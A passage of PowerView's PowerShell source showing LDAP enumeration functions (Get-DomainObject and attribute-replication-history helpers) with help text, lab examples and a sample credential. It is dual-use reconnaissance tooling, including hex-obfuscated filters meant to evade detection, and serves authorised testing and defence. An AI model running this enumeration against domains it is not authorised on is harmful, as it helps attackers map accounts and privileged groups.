|
}
|
|
else {
|
|
$Prop = $_.Properties
|
|
}
|
|
|
|
$Up = $True
|
|
if ($PSBoundParameters['Ping']) {
|
|
$Up = Test-Connection -Count 1 -Quiet -ComputerName $Prop.dnshostname
|
|
}
|
|
if ($Up) {
|
|
if ($PSBoundParameters['Raw']) {
|
|
# return raw result objects
|
|
$Computer = $_
|
|
$Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw')
|
|
}
|
|
else {
|
|
$Computer = Convert-LDAPProperty -Properties $Prop
|
|
$Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer')
|
|
}
|
|
$Computer
|
|
}
|
|
}
|
|
if ($Results) {
|
|
try { $Results.dispose() }
|
|
catch {
|
|
Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-DomainObject {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Return all (or specified) domain objects in AD.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName
|
|
|
|
.DESCRIPTION
|
|
|
|
Builds a directory searcher object using Get-DomainSearcher, builds a custom
|
|
LDAP filter based on targeting/filter parameters, and searches for all objects
|
|
matching the criteria. To only return specific properties, use
|
|
"-Properties samaccountname,usnchanged,...". By default, all objects for
|
|
the current domain are returned.
|
|
|
|
.PARAMETER Identity
|
|
|
|
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
|
|
Wildcards accepted.
|
|
|
|
.PARAMETER UACFilter
|
|
|
|
Dynamic parameter that accepts one or more values from $UACEnum, including
|
|
"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER Properties
|
|
|
|
Specifies the properties of the output object to retrieve from the server.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER SecurityMasks
|
|
|
|
Specifies an option for examining security information of a directory object.
|
|
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER FindOne
|
|
|
|
Only return one result object.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.PARAMETER Raw
|
|
|
|
Switch. Return raw results instead of translating the fields into a custom PSObject.
|
|
|
|
.PARAMETER SSL
|
|
|
|
Switch. Use SSL for the connection to the LDAP server.
|
|
|
|
.PARAMETER Obfuscate
|
|
|
|
Switch. Obfuscate the resulting LDAP filter string using hex encoding.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainObject -Domain testlab.local
|
|
|
|
Return all objects for the testlab.local domain
|
|
|
|
.EXAMPLE
|
|
|
|
'S-1-5-21-890171859-3433809279-3366196753-1003', 'CN=dfm,CN=Users,DC=testlab,DC=local','b6a9a2fb-bbd5-4f28-9a09-23213cea6693','dfm.a' | Get-DomainObject -Properties distinguishedname
|
|
|
|
distinguishedname
|
|
-----------------
|
|
CN=PRIMARY,OU=Domain Controllers,DC=testlab,DC=local
|
|
CN=dfm,CN=Users,DC=testlab,DC=local
|
|
OU=OU3,DC=testlab,DC=local
|
|
CN=dfm (admin),CN=Users,DC=testlab,DC=local
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-DomainObject -Credential $Cred -Identity 'windows1'
|
|
|
|
.EXAMPLE
|
|
|
|
Get-Domain | Select-Object -Expand name
|
|
testlab.local
|
|
|
|
'testlab\harmj0y','DEV\Domain Admins' | Get-DomainObject -Verbose -Properties distinguishedname
|
|
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
|
|
VERBOSE: [Get-DomainUser] Extracted domain 'testlab.local' from 'testlab\harmj0y'
|
|
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
|
|
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))
|
|
|
|
distinguishedname
|
|
-----------------
|
|
CN=harmj0y,CN=Users,DC=testlab,DC=local
|
|
VERBOSE: [Get-DomainUser] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins'
|
|
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
|
|
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=Domain Admins)))
|
|
CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.ADObject
|
|
|
|
Custom PSObject with translated AD object property fields.
|
|
|
|
PowerView.ADObject.Raw
|
|
|
|
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
|
|
[OutputType('PowerView.ADObject')]
|
|
[OutputType('PowerView.ADObject.Raw')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
|
|
[String[]]
|
|
$Identity,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$Properties,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
|
|
[String]
|
|
$SecurityMasks,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Alias('ReturnOne')]
|
|
[Switch]
|
|
$FindOne,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$Raw,
|
|
|
|
[Switch]
|
|
$SSL,
|
|
|
|
[Switch]
|
|
$Obfuscate
|
|
)
|
|
|
|
DynamicParam {
|
|
$UACValueNames = [Enum]::GetNames($UACEnum)
|
|
# add in the negations
|
|
$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
|
|
# create new dynamic parameter
|
|
New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
|
|
}
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
if ($PSBoundParameters['FindOne']) { $SearcherArguments['FindOne'] = $FindOne }
|
|
if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }
|
|
if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate }
|
|
}
|
|
|
|
PROCESS {
|
|
#bind dynamic parameter to a friendly variable
|
|
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
|
|
New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
|
|
}
|
|
$IdentityFilter = ''
|
|
$Filter = ''
|
|
$Identity | Where-Object {$_} | ForEach-Object {
|
|
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
|
|
if ($IdentityInstance -match '^S-1-') {
|
|
$IdentityFilter += "(objectsid=$IdentityInstance)"
|
|
}
|
|
elseif ($IdentityInstance -match '^(CN|OU|DC)=') {
|
|
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
|
|
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
|
|
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
|
|
# and rebuild the domain searcher
|
|
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
|
|
Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
|
|
$SearcherArguments['Domain'] = $IdentityDomain
|
|
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
|
|
if (-not $ObjectSearcher) {
|
|
Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'"
|
|
}
|
|
}
|
|
}
|
|
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
|
|
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
|
|
Write-Output "$GuidByteString"
|
|
$IdentityFilter += "(objectguid=$GuidByteString)"
|
|
}
|
|
elseif ($IdentityInstance.Contains('\')) {
|
|
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
|
|
if ($ConvertedIdentityInstance) {
|
|
$ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
|
|
$ObjectName = $IdentityInstance.Split('\')[1]
|
|
$IdentityFilter += "(samAccountName=$ObjectName)"
|
|
$SearcherArguments['Domain'] = $ObjectDomain
|
|
Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'"
|
|
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
|
|
}
|
|
}
|
|
elseif ($IdentityInstance.Contains('.')) {
|
|
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
|
|
}
|
|
else {
|
|
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
|
|
}
|
|
}
|
|
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
|
|
$Filter += "(|$IdentityFilter)"
|
|
}
|
|
if ($PSBoundParameters['LDAPFilter']) {
|
|
Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter"
|
|
$Filter += "$LDAPFilter"
|
|
}
|
|
|
|
# build the LDAP filter for the dynamic UAC filter value
|
|
$UACFilter | Where-Object {$_} | ForEach-Object {
|
|
if ($_ -match 'NOT_.*') {
|
|
$UACField = $_.Substring(4)
|
|
$UACValue = [Int]($UACEnum::$UACField)
|
|
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
|
|
}
|
|
else {
|
|
$UACValue = [Int]($UACEnum::$_)
|
|
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
|
|
}
|
|
}
|
|
|
|
if ($Filter -and $Filter -ne '') {
|
|
$SearcherArguments['LDAPFilter'] = "(&$Filter)"
|
|
}
|
|
Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($Filter)"
|
|
|
|
$Results = Invoke-LDAPQuery @SearcherArguments
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
if ($PSBoundParameters['Raw']) {
|
|
# return raw result objects
|
|
$Object = $_
|
|
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw')
|
|
}
|
|
else {
|
|
if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) {
|
|
$Prop = @{}
|
|
foreach ($a in $_.Attributes.Keys | Sort-Object) {
|
|
if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate')) {
|
|
$Prop[$a] = $_.Attributes[$a]
|
|
}
|
|
else {
|
|
$Values = @()
|
|
foreach ($v in $_.Attributes[$a].GetValues([byte[]])) {
|
|
$Values += [System.Text.Encoding]::UTF8.GetString($v)
|
|
}
|
|
$Prop[$a] = $Values
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
$Prop = $_.Properties
|
|
}
|
|
|
|
$Object = Convert-LDAPProperty -Properties $Prop
|
|
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject')
|
|
}
|
|
$Object
|
|
}
|
|
if ($Results) {
|
|
try { $Results.dispose() }
|
|
catch {
|
|
Write-Verbose "[Get-DomainObject] Error disposing of the Results object: $_"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-DomainObjectAttributeHistory {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns the Active Directory attribute replication metadata for the specified
|
|
object, i.e. a parsed version of the msds-replattributemetadata attribute.
|
|
By default, replication data for every domain object is returned.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainObject
|
|
|
|
.DESCRIPTION
|
|
|
|
Wraps Get-DomainObject with a specification to retrieve the property 'msds-replattributemetadata'.
|
|
This is the domain attribute replication metadata associated with the object. The results are
|
|
parsed from their XML string form and returned as a custom object.
|
|
|
|
.PARAMETER Identity
|
|
|
|
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
|
|
Wildcards accepted.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER Properties
|
|
|
|
Only return replication metadata on the specified property names.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainObjectAttributeHistory -Domain testlab.local
|
|
|
|
Return all attribute replication metadata for all objects in the testlab.local domain.
|
|
|
|
.EXAMPLE
|
|
|
|
'S-1-5-21-883232822-274137685-4173207997-1109','CN=dfm.a,CN=Users,DC=testlab,DC=local','da','94299db1-e3e7-48f9-845b-3bffef8bedbb' | Get-DomainObjectAttributeHistory -Properties objectClass | ft
|
|
|
|
ObjectDN ObjectGuid AttributeNam LastOriginat Version LastOriginat
|
|
e ingChange ingDsaDN
|
|
-------- ---------- ------------ ------------ ------- ------------
|
|
CN=dfm.a,C... a6263874-f... objectClass 2017-03-0... 1 CN=NTDS S...
|
|
CN=DA,CN=U... 77b56df4-f... objectClass 2017-04-1... 1 CN=NTDS S...
|
|
CN=harmj0y... 94299db1-e... objectClass 2017-03-0... 1 CN=NTDS S...
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainObjectAttributeHistory harmj0y -Properties userAccountControl
|
|
|
|
ObjectDN : CN=harmj0y,CN=Users,DC=testlab,DC=local
|
|
ObjectGuid : 94299db1-e3e7-48f9-845b-3bffef8bedbb
|
|
AttributeName : userAccountControl
|
|
LastOriginatingChange : 2017-03-07T19:56:27Z
|
|
Version : 4
|
|
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
|
|
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
|
|
l
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.ADObjectAttributeHistory
|
|
|
|
Custom PSObject with translated replication metadata fields.
|
|
|
|
.LINK
|
|
|
|
https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-1-when-did-the-delegation-change-how-to-track-security-descriptor-modifications/
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
|
|
[OutputType('PowerView.ADObjectAttributeHistory')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
|
|
[String[]]
|
|
$Identity,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$Properties,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$Raw
|
|
)
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{
|
|
'Properties' = 'msds-replattributemetadata','distinguishedname'
|
|
'Raw' = $True
|
|
}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['FindOne']) { $SearcherArguments['FindOne'] = $FindOne }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
|
|
if ($PSBoundParameters['Properties']) {
|
|
$PropertyFilter = $PSBoundParameters['Properties'] -Join '|'
|
|
}
|
|
else {
|
|
$PropertyFilter = ''
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
|
|
|
|
Get-DomainObject @SearcherArguments | ForEach-Object {
|
|
$ObjectDN = $_.Properties['distinguishedname'][0]
|
|
ForEach($XMLNode in $_.Properties['msds-replattributemetadata']) {
|
|
$TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_ATTR_META_DATA' -ErrorAction SilentlyContinue
|
|
if ($TempObject) {
|
|
if ($TempObject.pszAttributeName -Match $PropertyFilter) {
|
|
$Output = New-Object PSObject
|
|
$Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN
|
|
$Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName
|
|
$Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange
|
|
$Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion
|
|
$Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN
|
|
$Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectAttributeHistory')
|
|
$Output
|
|
}
|
|
}
|
|
else {
|
|
Write-Verbose "[Get-DomainObjectAttributeHistory] Error retrieving 'msds-replattributemetadata' for '$ObjectDN'"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-DomainObjectLinkedAttributeHistory {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns the Active Directory links attribute value replication metadata for the
|
|
specified object, i.e. a parsed version of the msds-replvaluemetadata attribute.
|
|
By default, replication data for every domain object is returned.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainObject
|
|
|
|
.DESCRIPTION
|
|
|
|
Wraps Get-DomainObject with a specification to retrieve the property 'msds-replvaluemetadata'.
|
|
This is the domain linked attribute value replication metadata associated with the object. The
|
|
results are parsed from their XML string form and returned as a custom object.
|
|
|
|
.PARAMETER Identity
|
|
|
|
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
|
|
Wildcards accepted.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER Properties
|
|
|
|
Only return replication metadata on the specified property names.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainObjectLinkedAttributeHistory | Group-Object ObjectDN | ft -a
|
|
|
|
Count Name
|
|
----- ----
|
|
4 CN=Administrators,CN=Builtin,DC=testlab,DC=local
|
|
4 CN=Users,CN=Builtin,DC=testlab,DC=local
|
|
2 CN=Guests,CN=Builtin,DC=testlab,DC=local
|
|
1 CN=IIS_IUSRS,CN=Builtin,DC=testlab,DC=local
|
|
1 CN=Schema Admins,CN=Users,DC=testlab,DC=local
|
|
1 CN=Enterprise Admins,CN=Users,DC=testlab,DC=local
|
|
4 CN=Domain Admins,CN=Users,DC=testlab,DC=local
|
|
1 CN=Group Policy Creator Owners,CN=Users,DC=testlab,DC=local
|
|
1 CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=testlab,DC=local
|
|
1 CN=Windows Authorization Access Group,CN=Builtin,DC=testlab,DC=local
|
|
8 CN=Denied RODC Password Replication Group,CN=Users,DC=testlab,DC=local
|
|
2 CN=PRIMARY,CN=Topology,CN=Domain System Volume,CN=DFSR-GlobalSettings,...
|
|
1 CN=Domain System Volume,CN=DFSR-LocalSettings,CN=PRIMARY,OU=Domain Con...
|
|
1 CN=ServerAdmins,CN=Users,DC=testlab,DC=local
|
|
3 CN=DomainLocalGroup,CN=Users,DC=testlab,DC=local
|
|
|
|
|
|
.EXAMPLE
|
|
|
|
'S-1-5-21-883232822-274137685-4173207997-519','af94f49e-61a5-4f7d-a17c-d80fb16a5220' | Get-DomainObjectLinkedAttributeHistory
|
|
|
|
ObjectDN : CN=Enterprise Admins,CN=Users,DC=testlab,DC=local
|
|
ObjectGuid : 94e782c1-16a1-400b-a7d0-1126038c6387
|
|
AttributeName : member
|
|
AttributeValue : CN=Administrator,CN=Users,DC=testlab,DC=local
|
|
TimeDeleted : 2017-03-06T00:48:29Z
|
|
TimeCreated : 2017-03-06T00:48:29Z
|
|
LastOriginatingChange : 2017-03-06T00:48:29Z
|
|
Version : 1
|
|
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
|
|
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
|
|
l
|
|
|
|
ObjectDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local
|
|
ObjectGuid : af94f49e-61a5-4f7d-a17c-d80fb16a5220
|
|
AttributeName : member
|
|
AttributeValue : CN=dfm,CN=Users,DC=testlab,DC=local
|
|
TimeDeleted : 2017-06-13T22:20:02Z
|
|
TimeCreated : 2017-06-13T22:20:02Z
|
|
LastOriginatingChange : 2017-06-13T22:20:22Z
|
|
Version : 2
|
|
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
|
|
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
|
|
l
|
|
|
|
ObjectDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local
|
|
ObjectGuid : af94f49e-61a5-4f7d-a17c-d80fb16a5220
|
|
AttributeName : member
|
|
AttributeValue : CN=Administrator,CN=Users,DC=testlab,DC=local
|
|
TimeDeleted : 2017-03-06T00:48:29Z
|
|
TimeCreated : 2017-03-06T00:48:29Z
|
|
LastOriginatingChange : 2017-03-06T00:48:29Z
|
|
Version : 1
|
|
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
|
|
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
|
|
l
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainObjectLinkedAttributeHistory ServerAdmins -Domain testlab.local
|
|
|
|
ObjectDN : CN=ServerAdmins,CN=Users,DC=testlab,DC=local
|
|
ObjectGuid : 603b46ad-555c-49b3-8745-c0718febefc2
|
|
AttributeName : member
|
|
AttributeValue : CN=jason.a,CN=Users,DC=dev,DC=testlab,DC=local
|
|
TimeDeleted : 2017-04-10T22:17:19Z
|
|
TimeCreated : 2017-04-10T22:17:19Z
|
|
LastOriginatingChange : 2017-04-10T22:17:19Z
|
|
Version : 1
|
|
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
|
|
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
|
|
l
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.ADObjectLinkedAttributeHistory
|
|
|
|
Custom PSObject with translated replication metadata fields.
|
|
|
|
.LINK
|
|
|
|
